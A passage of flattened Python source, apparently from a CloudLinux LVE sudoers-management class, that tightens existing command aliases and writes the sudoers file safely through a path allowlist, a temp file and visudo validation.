re.compile(rf'{group_name}\s*ALL=NOPASSWD:\s*LVECTL_CMDS,\s*SELECTOR_CMDS') try: # Read sudoers file Clsudo._read_sudoers() for idx, command_string in enumerate(Clsudo.sudoers_list): if SELECTOR_ALIAS_RE.match(command_string): # Upgrade: rewrite a pre-existing lax SELECTOR_CMDS definition # to the argv-restricted form in place (see _get_contents). Clsudo._rewrite_alias(idx, 'SELECTOR_CMDS', ALIAS_SELECTOR_CMDS) Clsudo.has_selector_alias = True continue if "Cmnd_Alias LVECTL_CMDS" in command_string: Clsudo.has_alias = True continue if CAGEFS_ALIAS_RE.match(command_string): # Upgrade: rewrite a pre-existing lax CAGEFS_CMDS definition # to the argv-restricted form in place (see _get_contents). Clsudo._rewrite_alias(idx, 'CAGEFS_CMDS', ALIAS_CAGEFS_CMDS) Clsudo.has_cagefs_alias = True continue if command_string.startswith(group_prefix): pattern_match = group_pattern.search(command_string) if pattern_match: Clsudo.has_action = True if command_string.startswith(group_action): Clsudo.has_group_action = True except (IOError, OSError) as e: raise UnableToReadFile() from e @staticmethod def _write_contents(): """ Writes data to temporary file then checks it and rewrites sudoers file """ # Fail-closed destination allowlist: visudo -c (below) validates sudoers # SYNTAX, not LOCATION, so the write target itself must be constrained. # Refuse any destination not on the approved list before creating or # renaming any file. allowed = {os.path.realpath(p) for p in Clsudo._ALLOWED_SUDOERS_PATHS} if os.path.realpath(Clsudo.filepath) not in allowed: logger.warning("_write_contents: refusing to write sudoers to " "disallowed destination '%s' (uid=%d, pid=%d)", Clsudo.filepath, os.getuid(), os.getpid()) raise UnableToWriteFile() try: temp_dir = os.path.dirname(Clsudo.filepath) temp_prefix = 'lve_sudoers_' fd, temp_path = tempfile.mkstemp(prefix=temp_prefix, dir=temp_dir) fo = os.fdopen(fd, 'w') fo.write('\n'.join(Clsudo.sudoers_list) + '\n') fo.close() mask = S_IRUSR | S_IRGRP os.chmod(temp_path, mask) if not Clsudo._is_file_valid(temp_path): raise IOError except (IOError, OSError) as e: logger.warning("_write_contents: failed to write sudoers file '%s' " "(uid=%d, pid=%d)", Clsudo.filepath, os.getuid(), os.getpid()) try: if os.path.exists(temp_path): os.unlink(temp_path) except Exception: pass raise UnableToWriteFile() from e try: os.rename(temp_path, Clsudo.filepath) except OSError as e: logger.warning("_write_contents: failed to rename temp file to '%s' " "(uid=%d, pid=%d)", Clsudo.filepath, os.getuid(), os.getpid()) raise UnableToWriteFile() from e @staticmethod def _is_file_valid(filename): cmd = [ '/usr/sbin/visudo', '-c', '-f', filename ] with subprocess.Popen( cmd, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, ) as proc: proc.communicate() if proc.returncode != 0: return False return True
Close